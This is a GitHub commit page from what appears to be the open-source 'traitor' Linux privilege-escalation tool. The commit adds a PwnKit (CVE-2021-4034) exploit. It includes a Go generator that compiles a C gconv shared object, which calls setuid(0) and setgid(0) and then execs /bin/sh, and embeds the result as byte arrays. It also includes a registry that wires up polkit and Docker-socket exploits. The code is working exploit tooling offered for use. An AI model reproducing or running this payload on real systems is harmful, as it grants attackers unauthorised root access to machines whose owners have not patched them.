-
-
Notifications
You must be signed in to change notification settings - Fork 584
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* Add support for cve-2021-4034
- Loading branch information
Showing
40 changed files
with
6,675 additions
and
31 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,17 @@ | ||
|
||
|
||
.PHONY: build | ||
build: | ||
CGO_ENABLED=0 go build ./cmd/traitor | ||
|
||
.PHONY: pack | ||
pack: | ||
go run ./cmd/pack | ||
|
||
.PHONY: install | ||
install: | ||
CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor | ||
|
||
.PHONY: test | ||
test: | ||
go test ./... -race -cover |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
package main | ||
|
||
import ( | ||
"bytes" | ||
"fmt" | ||
"io/ioutil" | ||
"os" | ||
"os/exec" | ||
"path/filepath" | ||
) | ||
|
||
const outputDir = "./pkg/exploits/cve20214034" | ||
|
||
func main() { | ||
if err := buildPwnkitSharedObjects(); err != nil { | ||
panic(err) | ||
} | ||
} | ||
|
||
func buildPwnkitSharedObjects() error { | ||
|
||
for _, platform := range []struct { | ||
goarch string | ||
binary string | ||
args []string | ||
}{ | ||
{ | ||
goarch: "amd64", | ||
binary: "gcc", | ||
args: []string{"-Wall", "--shared", "-fPIC", "-o"}, | ||
}, | ||
{ | ||
goarch: "386", | ||
binary: "gcc", | ||
args: []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"}, | ||
}, | ||
{ | ||
goarch: "arm64", | ||
binary: "aarch64-linux-gnu-gcc", | ||
args: []string{"-Wall", "--shared", "-fPIC", "-o"}, | ||
}, | ||
} { | ||
|
||
for _, command := range []string{"/bin/sh", "/usr/bin/true"} { | ||
|
||
desc := filepath.Base(command) | ||
|
||
pwnkitSrc := fmt.Sprintf(`#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
void gconv(void) {} | ||
void gconv_init(void *step) { | ||
char *const args[] = {"%s", NULL}; | ||
char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/" | ||
"bin:/sbin:/bin:/opt/bin", | ||
NULL}; | ||
setuid(0); | ||
setgid(0); | ||
execve(args[0], args, environ); | ||
exit(0); | ||
}`, command) | ||
|
||
sourcePath := filepath.Join(os.TempDir(), "traitor.c") | ||
if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil { | ||
return err | ||
} | ||
if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil { | ||
return err | ||
} | ||
|
||
soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch) | ||
soPath := filepath.Join(outputDir, soFilename) | ||
|
||
rawSO, err := ioutil.ReadFile("/tmp/traitor.so") | ||
if err != nil { | ||
return err | ||
} | ||
|
||
output := bytes.NewBufferString( | ||
fmt.Sprintf( | ||
"//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{", | ||
platform.goarch, | ||
desc, | ||
), | ||
) | ||
|
||
for i, b := range rawSO { | ||
if i%16 == 0 { | ||
output.WriteString("\n ") | ||
} | ||
output.WriteString(fmt.Sprintf(" %d,", b)) | ||
} | ||
output.WriteString("\n}\n") | ||
if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil { | ||
return err | ||
} | ||
} | ||
} | ||
|
||
return nil | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
package exploits | ||
|
||
import ( | ||
"github.com/liamg/traitor/pkg/exploits/cve20213560" | ||
"github.com/liamg/traitor/pkg/exploits/cve20214034" | ||
"github.com/liamg/traitor/pkg/exploits/dockersock" | ||
) | ||
|
||
func init() { | ||
register("docker:writable-socket", SpeedFast, dockersock.New()) | ||
} | ||
|
||
func init() { | ||
register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New()) | ||
} | ||
|
||
func init() { | ||
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New()) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.